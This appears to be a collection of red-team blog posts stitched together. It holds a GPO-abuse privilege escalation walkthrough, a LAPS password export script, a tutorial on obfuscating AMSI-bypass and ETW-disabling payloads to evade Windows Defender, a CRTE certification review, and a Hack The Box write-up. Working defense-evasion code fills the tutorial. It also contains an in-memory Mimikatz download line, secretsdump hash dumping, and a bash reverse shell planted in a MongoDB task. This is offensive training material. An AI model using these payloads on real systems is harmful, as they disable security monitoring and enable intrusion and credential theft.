$ secretsdump.py -ntds ntds.dit -system system.hive LOCAL | tee hash-dump
+
We Abusing GPO by adding the user to the local Administrators group leveraging a tool called SharpGPOAbuse.
Source : https://github.com/FSecureLABS/SharpGPOAbuse
Pre compiled binaries : https://github.com/Flangvik/SharpCollection
1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+
PS C:\Enterprise-Share> .\SharpGPOAbuse.exe --AddComputerTask --TaskName "Debug" --Author vulnnet\administrator --Command "cmd.exe" --Arguments "/c net localgroup administrators enterprise-security /add" --GPOName "SECURITY-POL-VN"
+[+] Domain = vulnnet.local
+[+] Domain Controller = VULNNET-BC3TCK1SHNQ.vulnnet.local
+[+] Distinguished Name = CN=Policies,CN=System,DC=vulnnet,DC=local
+[+] GUID of "SECURITY-POL-VN" is: {31B2F340-016D-11D2-945F-00C04FB984F9}
+[+] Creating file \\vulnnet.local\SysVol\vulnnet.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml
+[+] versionNumber attribute changed successfully
+[+] The version number in GPT.ini was increased successfully.
+[+] The GPO was modified to include a new immediate task. Wait for the GPO refresh cycle.
+[+] Done!
+
1
+2
+3
+4
+
PS C:\Enterprise-Share> gpupdate /force
+Updating policy...
+Computer Policy update has completed successfully.
+User Policy update has completed successfully.
+
1
+2
+
PS C:\Enterprise-Share> net user enterprise-security
+# Will be added to the administrators group
+
The following script assumes that LAPS has already been configured into your environment & that your user account already has access to view LAPS passwords using the Fat Client UI or from Active Directory Users & Computers.
This script loads the Active Directory module, finds the LAPS password fields, and then saves them to a CSV with the date appended to the file name. The only thing you’d need to change is the file path.
1
+2
+3
+
$Computers = Get-ADComputer -Filter * -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
+$Computers | Sort-Object ms-Mcs-AdmPwdExpirationTime | Format-Table -AutoSize Name, DnsHostName, ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
+$computers | Export-Csv -path c:\temp\"LAPS-$((Get-Date).ToString("MM-dd-yyyy")).csv" -NoTypeInformation
+
1
+
C:\Scripts\LAPSexport.ps1
+
If you find my articles interesting, you can buy me a coffee
Greetings, everyone 👋. In this brief article, I will outline a manual obfuscation technique for bypassing Windows Defender. Specifically, I will cover how to patch the Antimalware Scan Interface and disable Event Tracing for Windows to evade detection. Additionally, I will demonstrate how to combine both methods for maximum effectiveness and provide guidance on using this approach.
Throughout the article, I will use AmsiTrigger and Invoke-obfuscation. These tools will help to identify the malicious scripts and help obfuscate them.
Windows Defender Antimalware Scan Interface (AMSI) is a security feature that is built into Windows 10 and Windows Server 2016 and later versions. AMSI is designed to provide enhanced malware protection by allowing antivirus and other security solutions to scan script-based attacks and other suspicious code before they execute on a system.
By disabling or AMSI, attackers can download malicious scripts in memory on the systems.
Original Payload for AMSI bypass
1 + [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true) +
This command is used to modify the behavior of the Anti-Malware Scan Interface (AMSI) in PowerShell. Specifically, it sets a private, static field within the System.Management.Automation.AmsiUtils class called “amsiInitFailed” to true, which indicates that the initialization of AMSI has failed.
Here is a breakdown of the command and what each part does:
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
: This first part of the command uses the [Ref]
type accelerator to get a reference to the System.Management.Automation
assembly and then uses the GetType()
method to get a reference to the System.Management.Automation.AmsiUtils
class.System.Management.Automation.AmsiUtils
is a part of the PowerShell scripting language and is used to interact with the Anti-Malware Scan Interface (AMSI) on Windows operating systems. AMSI is a security feature that allows software to integrate with antivirus and other security products to scan and detect malicious content in scripts and other files.System.Management.Automation.AmsiUtils
itself is not inherently malicious, it can be flagged as such if it is being used in a context that appears suspicious to antivirus or other security software. For example, malware authors may use PowerShell scripts that leverage AMSI to bypass traditional antivirus detection and execute malicious code on a system.System.Management.Automation.AmsiUtils
may be flagged as malicious if it is being used in a context that appears to be part of a malware attack or if it is being used in a way that violates security policies on a system..GetField('amsiInitFailed','NonPublic,Static')
: This part of the command uses the GetField()
method to get a reference to the private, static field within the System.Management.Automation.AmsiUtils class called "amsiInitFailed"
. The 'NonPublic,Static'
argument specifies that the method should retrieve a non-public and static field.
.SetValue($null,$true)
: Finally, this part of the command uses the SetValue()
method to set the value of the "amsiInitFailed"
field to true. The $null
argument specifies that we are not setting the value on an instance of the object, and the $true
argument is the new value we are setting the field to.The reason for setting "amsiInitFailed"
to true is to bypass AMSI detection, which may be used by antivirus or other security software to detect and block potentially malicious PowerShell commands or scripts. By indicating that the initialization of AMSI has failed, this command prevents AMSI from running and potentially interfering with the execution of PowerShell commands or scripts. It is worth noting, however, that bypassing AMSI can also make it easier for malicious actors to execute code on a system undetected, so caution should be exercised when using this command in practice.
Lets open Powershell and execute the original payload to patch AMSI and check the result.
1
+
PS:\> [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
+
1
+
PS C:\AMSITrigger> .\AmsiTrigger_x64.exe
+
.ps1
file, and with the -i
flag, we can supply the malicious ps1
file1
+
PS C:\AMSITrigger> .\AmsiTrigger_x64.exe -i test.ps1
+
From the output results we can see that it flagged two strings as malicious
After analyzing the strings that caused Windows Defender to block our script, we can now take steps to bypass this security mechanism. Several techniques can be used to evade detection, with one of the simplest and most effective being to encode or encrypt the payload.
We can do it in the following ways
Now lets try to modify our original payload using just Base64 encoding.
Base64 Encoding is a widely used encoding technique that converts binary data into a string of ASCII characters. This method is easy to implement and can be decoded with simple tools.
1
+2
+3
+4
+
# Encoding Payload
+PS:\> $Text = 'Hello World';$Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text);$EncodedText=[Convert]::ToBase64String($Bytes);$EncodedText
+# Decoding Paylaod
+PS:\> $([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('SABlAGwAbABvACAAVwBvAHIAbABkAA==')))
+
1
+
PS:\> $Text = 'AmsiUtils';$Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text);$EncodedText=[Convert]::ToBase64String($Bytes);$EncodedText
+
1
+2
+3
+4
+5
+6
+
# Encoding Payload
+PS:\> $Text = 'Amsi';$Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text);$EncodedText=[Convert]::ToBase64String($Bytes);$EncodedText
+PS:\> $Text = 'Utils';$Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text);$EncodedText=[Convert]::ToBase64String($Bytes);$EncodedText
+
+# Decoding Paylaod
+PS:\> $([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('QQBtAHMAaQA=')))+$([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('VQB0AGkAbABzAA==')))
+
1
+2
+3
+4
+5
+6
+7
+
# Encoding Payload
+PS:\> $Text = 'amsi';$Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text);$EncodedText=[Convert]::ToBase64String($Bytes);$EncodedText
+PS:\> $Text = 'Init';$Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text);$EncodedText=[Convert]::ToBase64String($Bytes);$EncodedText
+PS:\> $Text = 'Failed';$Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text);$EncodedText=[Convert]::ToBase64String($Bytes);$EncodedText
+
+# Decoding Paylaod
+PS:\> $([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('YQBtAHMAaQA=')) + $([System.Text.Encoding]::Unicode.GetString($([System.Convert]::FromBase64String('SQBuAGkAdAA=')))) + $([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('RgBhAGkAbABlAGQA'))))
+
Now that we crafted the final payload to Patch AMSI, let us look back at the original AMSI bypass code.
1
+
PS:\> [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
+
1
+
PS:\> [Ref].Assembly.GetType($('System.Management.Automation.')+$([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('QQBtAHMAaQA=')))+$([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('VQB0AGkAbABzAA==')))).GetField($([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('YQBtAHMAaQA=')) + $([System.Text.Encoding]::Unicode.GetString($([System.Convert]::FromBase64String('SQBuAGkAdAA=')))) + $([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('RgBhAGkAbABlAGQA')))),$('NonPublic,Static')).SetValue($null,$true)
+
Mimikatz.ps1
in the memory and check if its triggering Defender.1
+
PS:\> IEX(iwr -uri https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1 -UseBasicParsing)
+
As you can see, we successfully encoded the AMSI bypass payload in base64. Below I will give a demonstration on how to encode it in hex and use techniques like reverse string and concatenation
An easy was of bypassing “A m s i U t i l s” is by simply splitting it into two words and adding them together.
1
+2
+
PS:\> 'AmsiUtils'
+PS:\> 'Amsi' + 'Utils'
+
A simple Hex encoding and decoding snippet in PowerShell looks like this :
1
+2
+3
+4
+5
+6
+
# Encoding Payload
+PS:\> "Hello World" | Format-Hex
+
+# Decoding Payload
+PS:\> $r = '48 65 6C 6C 6F 20 57 6F 72 6C 64'.Split(" ")|forEach{[char]([convert]::toint16($_,16))}|forEach{$s=$s+$_}
+PS C:\> $s
+
The last technique is by reversing the string for obfuscating the payload.
1
+2
+3
+4
+5
+
# Encoding Payload
+PS:\> (([regex]::Matches("testing payload",'.','RightToLeft') | foreach {$_.value}) -join '')
+
+# Decoding Payload
+PS:\> (([regex]::Matches("daolyap gnitset",'.','RightToLeft') | foreach {$_.value}) -join '')
+
We can also combine these techniques to create a more powerful and effective payload that can evade detection by Windows Defender. Using a combination of Base64 Encoding, Hex Encoding, Reversing The String, and Concatenation, we can create a highly obfuscated payload to bypass Windows Defender.
1
+
PS:\> $w = 'System.Manag';$r = '65 6d 65 6e 74 2e 41 75 74 6f 6d 61 74 69 6f 6e 2e'.Split(" ")|forEach{[char]([convert]::toint16($_,16))}|forEach{$s=$s+$_};$c = 'Amsi'+'Utils';$assembly = [Ref].Assembly.GetType(('{0}{1}{2}' -f $w,$s,$c));$n = $([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('YQBtAA==')));$b = 'siIn';$k = (([regex]::Matches("deliaFti",'.','RightToLeft') | foreach {$_.value}) -join '');$field = $assembly.GetField(('{0}{1}{2}' -f $n,$b,$k),'NonPublic,Static');$field.SetValue($null,$true)
+
Event Tracing for Windows (ETW) is a powerful logging and tracing mechanism in the Windows operating system that allows developers, administrators, and analysts to monitor and diagnose system events in real time. It collects and analyses diagnostic and performance data from applications and services running on Windows. ETW records events generated by the operating system and applications, including information on processes, threads, disk I/O, network activity, and more.
By disabling or manipulating ETW, attackers can prevent security tools from logging their actions or tracking their movement within a system.
Original Payload to patch ETW
1 + [Reflection.Assembly]::LoadWithPartialName('System.Core').GetType('System.Diagnostics.Eventing.EventProvider').GetField('m_enabled','NonPublic,Instance').SetValue([Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider').GetField('etwProvider','NonPublic,Static').GetValue($null),0) +
This command is used to modify the behavior of the Event Tracing for Windows(ETW) in PowerShell. Specifically, it sets a private, static field within the System.Management.Automation.Tracing.PSEtwLogProvider class called "m_enabled"
to true, 0
indicates that the initialization of ETW is disabled.
Here is a breakdown of the command and what each part does:
[Reflection.Assembly]::LoadWithPartialName('System.Core')
loads the System.Core
assembly into memory..GetType('System.Diagnostics.Eventing.EventProvider')
retrieves the EventProvider
type from the loaded assembly..GetField('m_enabled','NonPublic,Instance')
retrieves the m_enabled
field of the EventProvider type, which determines whether event tracing is enabled for that provider..SetValue([Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider').GetField('etwProvider','NonPublic,Static').GetValue($null),0)
sets the m_enabled
field of the PowerShell ETW provider to 0
(disabled). This prevents PowerShell from logging events to the Windows Event Log or other ETW consumers.We have already learned how to patch PowerShell scripts manually. I will explain how to obfuscate Powershell using Invoke-Obfuscation for this example. I already have this setup on my Commando-VM.
1
+2
+3
+4
+
Invoke-Obfuscation> SET SCRIPT BLOCK [Reflection.Assembly]::LoadWithPartialName('System.Core').GetType('System.Diagnostics.Eventing.EventProvider').GetField('m_enabled','NonPublic,Instance').SetValue([Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider').GetField('etwProvider','NonPublic,Static').GetValue($null),0)
+
+Invoke-Obfuscation> ENCODING
+Invoke-Obfuscation> ENCODING\5
+
If you find my articles interesting, you can buy me a coffee
I am thrilled to announce that I have successfully passed the CRTE (Certified Red Team Expert) exam from Altered Security, and I am excited to share my journey and experience with all of you. This certification marks a significant milestone in my career as a cybersecurity professional, further building upon my earlier achievements of attaining the CRTP (Certified Red Team Professional) and the CRTO (Certified Red Team Operator) certifications.
Throughout my preparation and examination process, I encountered numerous challenges, gained invaluable insights, and developed a deeper understanding of the red teaming discipline. This blog aims to provide a comprehensive account of my experiences, shedding light on the preparation strategies, lab reviews, and the exam itself. Moreover, I will share tips and techniques that I found helpful in conquering the CRTE exam, offering guidance to those who aspire to follow a similar path.
When preparing for the CRTE exam, it’s essential to establish a strong foundation in red teaming concepts and techniques. Red teaming involves simulating real-world attacks to identify vulnerabilities within an organization’s security infrastructure. To ensure a smoother transition into CRTE, I recommend completing the CRTP (Certified Red Team Professional) certification first.
The CRTP certification covers a wide range of essential topics that serve as the building blocks for CRTE. It delves into areas such as Active Directory (AD) enumeration, trust mapping, domain privilege escalation, Kerberos-based attacks, SQL server trusts, defences, and bypasses of defences. By acquiring a solid understanding of these fundamental concepts through the CRTP, you will be better equipped to tackle the more advanced content in CRTE.
Additionally, I had the opportunity to complete the CRTO (Certified Red Team Operator) certification, which focuses on conducting red team exams using the C2 framework “Cobalt Strike”. While I wouldn’t consider the CRTO a prerequisite for CRTE, it gave me valuable hands-on experience and a deeper understanding of red teaming methodologies. The CRTO exam-based approach, combined with using Cobalt Strike, enhanced my practical skills and complemented the theoretical knowledge gained from the CRTP.
Engaging in practical exercises related to Active Directory was beneficial for extra preparation.
For the lab portion of the CRTE certification, you can choose between “On Demand” and “Online Bootcamp.”
The “Bootcamp” option, is a 4-day workshop conducted weekly, with each session lasting approximately 3.5 hours. The course instructor covers the relevant concepts in these live sessions and demonstrates various objectives. The “Bootcamp” option is particularly beneficial for those who prefer a more guided approach and would like additional support throughout the lab exercises. However, having already solved Hack The Box Pro Labs, I felt confident that I could tackle the labs independently. Thus, I chose the “On Demand” option to proceed with my CRTE lab experience.
The “On Demand” option grants you access to the lab environment for your choice, ranging from 30 to 90 days. Priced at $299 for the 30-day access, this option includes all the necessary tools and a lab PDF that is solved using PowerShell. Additionally, the lab is solved using the C2 framework “Covenant”. In the “On Demand” option, students are expected to work independently on the lab challenges. However, if you encounter any difficulties, you can seek assistance by contacting the support team via email or by engaging with fellow students in the dedicated Discord group.
I opted for the “On Demand” option and immediately began my lab journey after purchasing it on June 29th. The lab consists of 22 machines distributed across 8 forests, encompassing advanced attack scenarios. These scenarios cover various topics, including abuse of Kerberos Delegation, PAM Trust Abuse, LAPS, Dimond Tickets, MSSQL Abuse, Certificate Services, Shadow Credentials, and more. Additionally, the lab contains a total of 60 flags to discover.
Remarkably, I completed all the flags within 48 hours, spanning 4 days. To ensure I captured all the vital details, I diligently took comprehensive notes using Obsidian, documenting the attack techniques I utilized and the corresponding commands. In the end, you also have the option to tweet about the lab completion.
The CRTE exam offers the flexibility of an on-demand start, eliminating the need for advanced scheduling. The exam setup process typically takes around 10-15 minutes. Upon commencement, you are provided an additional hour of lab access, extending the total exam lab time to 48 hours plus 1 hour. Following the completion of the exam, you are granted an extra 48 hours to prepare and submit a comprehensive report. This report should include meticulous details such as screenshots and tool references for each attack that exploits specific machines.
To successfully pass the CRTE exam, you must demonstrate your proficiency by solving at least 4 out of 5 machines. Alongside your successful exploitation, delivering a high-quality report encompassing key elements such as thorough enumeration, step-by-step exploitation methodology, post-exploitation activities, and suggested mitigations is crucial.
By adhering to these requirements and presenting a well-documented report, you can effectively showcase your understanding of the exam objectives and secure a successful outcome in the CRTE certification exam.
During my CRTE exam journey, I commenced the examination on July 6th around 12:30 PM. The exam would end in 48 hours and would have an extra 48 hours to submit the reort.
The initial compromise of the first machine proved to be relatively straightforward, requiring adherence to the basic attack methodology that eventually led me to discover something intriguing. I could attain a reverse shell on the target system by leveraging this discovery.
However, the second machine presented a more challenging task, demanding additional research beyond what was covered in the course materials. Diligent exploration and in-depth investigation on various abuse techniques were necessary to overcome this obstacle successfully.
Fortunately, the third machine posed fewer difficulties, with the attack path becoming quite apparent during the enumeration process. This clarity facilitated a relatively swift compromise.
On the other hand, the fourth machine initially posed a minor setback as I mistakenly assumed a particular attack vector without conducting a thorough enumeration. Once I corrected this oversight and performed comprehensive enumeration, the correct attack path became evident, leading to a successful compromise.
Lastly, the fifth machine followed a similar pattern of relative ease, with the attack path visible, making it more straightforward to exploit and compromise.
I completed the CRTE exam in just 17 hours and submitted the accompanying report within 24 hours.
Although I admittedly spent some time exploring non-essential aspects, those who approach the exam more directly can reasonably expect to finish within 6 to 9 hours. By staying focused and minimizing distractions, candidates can optimize their exam experience and achieve efficient results.
Reflecting on my exam experience, I can’t help but recall a popular meme that perfectly encapsulates it all. While the CRTE course delved into numerous advanced attack vectors, it was interesting that those specific vectors weren’t prominently featured in the exam. It’s important to emphasize that this doesn’t necessarily imply that the exam was more challenging or straightforward. Instead, what truly mattered was a comprehensive understanding of the methodology and a strategic approach when dealing with an Active Directory environment.
A solid grasp of the methodology and navigating an Active Directory environment proved crucial during the exam. By applying this knowledge effectively, the exam unfolded smoothly. Moreover, the exam’s success relied on conducting proper research, delving into the necessary techniques, and employing sound practices. Armed with these preparations, compromising each machine became an achievable feat.
Develop a Methodology: Build a proper methodology for attacking an AD environment, encompassing the enumeration, exploitation, and post-exploitation phases. It is crucial to mention the mitigations for each step exploited in your report, demonstrating a comprehensive understanding of defensive measures.
Focus on Enumeration: Prioritize thorough enumeration as it is the key to uncovering crucial information about the target environment. Invest ample time in gathering details about users, groups, privileges, and potential vulnerabilities.
Utilize BloodHound: Familiarize yourself with the powerful tool BloodHound, which provides valuable insights into AD environments. If needed, employ manual enumeration using PowerShell to gather additional information.
Maintain a List of Attacks and Techniques: Keep a comprehensive list of enumeration techniques and potential attacks. If BloodHound or initial enumeration doesn’t yield desired results, refer to your list to explore alternative attack paths.
Correlate User and Credential Information: Take note of all users and credentials you discover during the exam. Correlating this information may uncover valuable hints or clues for further exploitation and privilege escalation.
Document Mitigations: Pay attention to potential mitigations for the vulnerabilities and attack vectors you encounter. Include these mitigations in your report to showcase your understanding of defensive measures and provide a thorough analysis.
Take Breaks and Manage Stress: Remember to take regular breaks, eat well, and rest during the exam. Managing stress levels and maintaining a clear mindset will help enhance your focus and overall performance.
Feel free to check out my cheat sheet for CRTE exam on my github CRTE-NOTES. This cheat sheet includes additional insights and strategies to help you prepare effectively for the exam.
In conclusion, undertaking the CRTE lab and exam proved to be a rewarding experience. The lab environment provided an excellent platform for practical application, allowing me to exercise the attack vectors covered in the course and explore various chained attacks. The support team demonstrated exceptional responsiveness throughout the lab, promptly addressing any lab-related issues and assisting whenever I encountered challenges.
Transitioning to the exam phase, the difficulty level was relatively moderate. I could successfully navigate the exam with a diligent research approach and well-established methodology. The exam tested not only my technical knowledge but also my ability to apply that knowledge in a methodical manner.
After eagerly awaiting the results, I received the outcome via email after a week, and to my delight, I learned that I had passed the exam!
If you find my articles interesting, you can buy me a coffee
Node is about enumerating an Express NodeJS application to find an API endpoint that discloses the usernames and password hashes. To root the box is a simple buffer overflow and possible by three other unintended ways.
The first thing that I do is run nmap scan that show this results:
1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+
0xStarlight@kali$ nmap -sC -sV -Pn 10.10.10.58 -vv > nmap_scan.conf
+0xStarlight@kali$ cat nmap_scan.conf
+PORT STATE SERVICE REASON VERSION
+# 22/tcp open ssh syn-ack OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
+| ssh-hostkey:
+| 2048 dc:5e:34:a6:25:db:43:ec:eb:40:f4:96:7b:8e:d1:da (RSA)
+| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwesV+Yg8+5O97ZnNFclkSnRTeyVnj6XokDNKjhB3+8R2I+r78qJmEgVr/SLJ44XjDzzlm0VGUqTmMP2KxANfISZWjv79Ljho3801fY4nbA43492r+6/VXeer0qhhTM4KhSPod5IxllSU6ZSqAV+O0ccf6FBxgEtiiWnE+ThrRiEjLYnZyyWUgi4pE/WPvaJDWtyfVQIrZohayy+pD7AzkLTrsvWzJVA8Vvf+Ysa0ElHfp3lRnw28WacWSaOyV0bsPdTgiiOwmoN8f9aKe5q7Pg4ZikkxNlqNG1EnuBThgMQbrx72kMHfRYvdwAqxOPbRjV96B2SWNWpxMEVL5tYGb
+| 256 6c:8e:5e:5f:4f:d5:41:7d:18:95:d1:dc:2e:3f:e5:9c (ECDSA)
+| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBKQ4w0iqXrfz0H+KQEu5D6zKCfc6IOH2GRBKKkKOnP/0CrH2I4stmM1C2sGvPLSurZtohhC+l0OSjKaZTxPu4sU=
+| 256 d8:78:b8:5d:85:ff:ad:7b:e6:e2:b5:da:1e:52:62:36 (ED25519)
+|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIB5cgCL/RuiM/AqWOqKOIL1uuLLjN9E5vDSBVDqIYU6y
+# 3000/tcp open hadoop-tasktracker syn-ack Apache Hadoop
+| hadoop-datanode-info:
+|_ Logs: /login
+| hadoop-tasktracker-info:
+|_ Logs: /login
+|_http-favicon: Unknown favicon MD5: 30F2CC86275A96B522F9818576EC65CF
+| http-methods:
+|_ Supported Methods: GET HEAD POST OPTIONS
+|_http-title: MyPlace
+Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
+
From the nmap results, we can see that there is port 3000 which is a web service that running on the server and on port 22 is SSH.
First of all, we can add the IP to our /etc/host
folder as node.htb
1
+2
+
0xStarlight@kali$ sudo nano /etc/host
+10.10.10.58 node.htb
+
Upon visiting the site, it looks like a typical social media site. It has a signup page which is currently closed, and a login page.
I tried using some common usernames and passwords to log in, but none of them succeeded. Since it uses NodeJS, there’s a good chance the backend is using MongoDB. I tried some basic NoSQL injections but got no luck. I then tried feroxbuster, but that resulted in the URL redirecting all the pages to the main home page.
So none of those helped me anyhow.
Let us refresh the page, check the network tab, look through all the *.js
files, and check if we find any interesting files.
I found an interesting js
file that makes a GET request to another js
file to pull down all the profiles.
1
+2
+3
+4
+
GET /assets/js/app/controllers/profile.js HTTP/1.1
+Host: node.htb:3000
+Connection: keep-alive
+[SNIP...]
+
Let us look at the source code of the js
file.
It is making a GET API request to /api/users
seems to pull down the username parameter
Upon visiting the endpoint, we can see that it contains all the user’s IDs, usernames and hashes, which will allow us to log in to the webpage.
We can grab the hashes and try cracking them on crackstation to get the passwords in plain text.
Great now we have the username and passwords in plain text. Let’s login on to the web page as myP14ceAdm1nAcc0uNT
as it has admin privileges.
After Logging in, there was an option to download a backup file. We can download the file on our local machine and start to analyze it.
We can try checking the file type first.
1
+2
+
0xStarlight@kali$ file myplace.backup
+myplace.backup: ASCII text, with very long lines, with no line terminators
+
It says ASCII text. Let us read the content of the file.
1
+2
+3
+4
+
0xStarlight@kali$ cat myplace.backup
+
+UEsDBAoAAAAAAHtvI0sAAAAAAAAAAAAAAAAQABwAdmFyL3d3dy9teXBsYWNlL1VUCQADyfyrWXrgd2F1eAsAAQQAAAAABAAAAABQSwMEFAAJAAgARQEiS0x97zc0EQAAEFMAACEAHAB2YXIvd3d3L215cGxhY2UvcGFja2FnZS1sb2NrLmpzb25VVAkAA9HoqVlL/8pZdXgLAAEEAAAAAAQAAAAAynsHjHtvHInyMHK96c66FXUMDUOwEAWe+Am9h6156G33NE/wuxHi0dnBAx8vweFPkPqZtCDL3hM4F+eobU5Cerzkqznx9Fu1mCWfZFHymBPNt+ihMv+mlQbBfTJ6VQrUVmgoxcEt51mXSx5sWQ/92wOT0aZs1cxrWnlpfAS+mRr/a8HjU8ZqF6XiEhR9EIaLPeuXGFRaB7o9mT0/YvtfL1zSnzme5kdmQhquEV/4Zxo4lJv5JTbxPJeC
+[SNIP...]
+
It seems like base64 encoded ASCII text. We can pipe the file content as base64, store it into another file, and recheck the file type.
1
+2
+3
+4
+
0xStarlight@kali$ cat myplace.backup | base64 -d > unknown_file
+
+0xStarlight@kali$ file unknown_file
+unknown_file: Zip archive data, at least v1.0 to extract
+
It results in a Zip archive data file. When trying to unzip, it requires a password. We can crack the password by fcrackzip
using rockyou.txt
as the wordlist.
1
+2
+3
+
0xStarlight@kali$ fcrackzip -u -D -p /home/kali/rockyou.txt unknown_file
+
+PASSWORD FOUND!!!!: pw == magicword
+
Lets unzip the file and check the archived content
1
+2
+
0xStarlight@kali$ ls
+app.html app.js node_modules package.json package-lock.json static
+
After reading the content in app.js
we can get the credentials to connect to MongoDB on localhost to myspace process.
1
+
0xStarlight@kali$ batcat app.js
+
mark:5AYRft[SNIP…]
Let us try to logon as SSH as Mark with the same password we found from the app.js
file. Maybe password reuse?
1
+
0xStarlight@kali$ ssh mark@10.10.10.58
+
Great we logged on !
We found MongoDB running on Mark’s machine from the downloaded backup file. We check if any node services are running on the machine and try to connect it as Mark.
1
+2
+3
+4
+
mark@node:/home$ ps aux | grep node
+tom 1230 0.0 5.3 1008056 40400 ? Ssl 18:55 0:01 /usr/bin/node /var/scheduler/app.js
+tom 1234 0.0 5.6 1019880 42936 ? Ssl 18:55 0:01 /usr/bin/node /var/www/myplace/app.js
+mark 1541 0.0 0.1 14228 940 pts/0 S+ 19:37 0:00 grep --color=auto node
+
It looks like Tom has the same file running on a different process Let’s read the content from /var/scheduler/app.js
file.
It looks like it creates a DB collection named task. It takes an input parameter as cmd on line 18 and executes it, and then deletes it after the execution is done. So now we can privilege escalation by injecting a reverse shell in the cmd parameter. Let us try to connect to mongo DB as Mark using the scheduler process.
1
+
mark@node:/home$ mongo -u mark -p 5AYRft73VtFpc84k scheduler
+
It seems like the DB is empty after querying the data collections.
1
+2
+3
+4
+5
+6
+
> show collections
+tasks
+> db.tasks.find()
+>
+> db.task.count()
+0
+
Let us add an object in the tasks collections with a cmd parameter containing a reverse shell that will connect back to Tom since the scheduler process is running as Tom.
1
+2
+3
+
> db.tasks.insert({"cmd": "bash -c 'bash -i >& /dev/tcp/10.10.14.17/9999 0>&1'"})
+WriteResult({ "nInserted" : 1 })
+>
+
We got a shell as Tom !
Let us check the SUID privileges for Tom user and search for any interesting files.
1
+
tom@node:/home$ find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null
+
I found an interesting file backup
, with file permissions as admin
to execute. We can execute the file since we have GUID as admin
as Tom. On executing the file, it doesn’t return anything.
1
+
tom@node:/$ /usr/local/bin/backup
+
I do remember that there was a process that spawns backup on api.js
whcih we found earlier. Let’s read that and see what it does.
1
+
var proc = spawn('/usr/local/bin/backup', ['-q', backup_key, __dirname ]);
+
It takes three parameters: -q
, then a backup key and a directory name. Let us run the file using strace
to check what’s happening.
1
+
tom@node:/$ strace /usr/local/bin/backup a a a
+
At the end of the file we can notice its trying read the content of "/etc/myplace/keys"
file.
1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+
[SNIP...]
+
+) = 81
+write(1, "\n", 1
+) = 1
+open("/etc/myplace/keys", O_RDONLY) = 3
+fstat64(3, {st_mode=S_IFREG|0644, st_size=196, ...}) = 0
+read(3, "a01a6aa5aaf1d7729f35c8278daae30f"..., 4096) = 196
+read(3, "", 4096) = 0
+write(1, " \33[33m[!]\33[37m Ah-ah-ah! You did"..., 57 [!] Ah-ah-ah! You didn't say the magic word!
+
+) = 57
+[SNIP...]
+
After reading the file’s content, We can figure that it contains some keys. Maybe we can use these keys and read the root directory?
1
+2
+3
+4
+
tom@node:/$ cat /etc/myplace/keys
+a01a6aa5aaf1d7729f35c8278daae30f8a988257144c003f8b12c5aec39bc508
+45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474
+3de811f4ab2b7543eaf45df611c2dd2541a5fc5af601772638b81dce6852d110
+
Since now we have the keys and know how it works, let us try to read the root directory folder.
1
+
tom@node:/$ backup -q a01a6aa5aaf1d7729f35c8278daae30f8a988257144c003f8b12c5aec39bc508 /root
+
Let us transfer the output to our local machine and analyze it. It looks like base64, and piping it out to a file and analyzing it tells it is a zip file. We can use the same password as last time to crack the zip and read the data.
1
+2
+
0xStarlight@kali$ cat unknown | base64 -d > unknown.zip
+0xStarlight@kali$ unzip unknown.zip
+
After extracting the file it gives us root.txt
Let us read the content of the file.
1
+
0xStarlight@kali$ cat root.txt
+
Its a troll ! :( I guess its not that easy
Let us try it out again without /
in /root
while entering the parameter. I am just guessing and checking the result.
1
+
tom@node:/$ backup -q a01a6aa5aaf1d7729f35c8278daae30f8a988257144c003f8b12c5aec39bc508 root
+
It has way more output this time. Let us do the same steps as before, extract the file and then read the file’s contents.
1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+
0xStarlight@kali$ unzip decode.zip
+Archive: decode1.zip
+ creating: root/
+[decode1.zip] root/.profile password:
+ inflating: root/.profile
+ inflating: root/.bash_history
+ creating: root/.cache/
+ extracting: root/.cache/motd.legal-displayed
+ extracting: root/root.txt
+ inflating: root/.bashrc
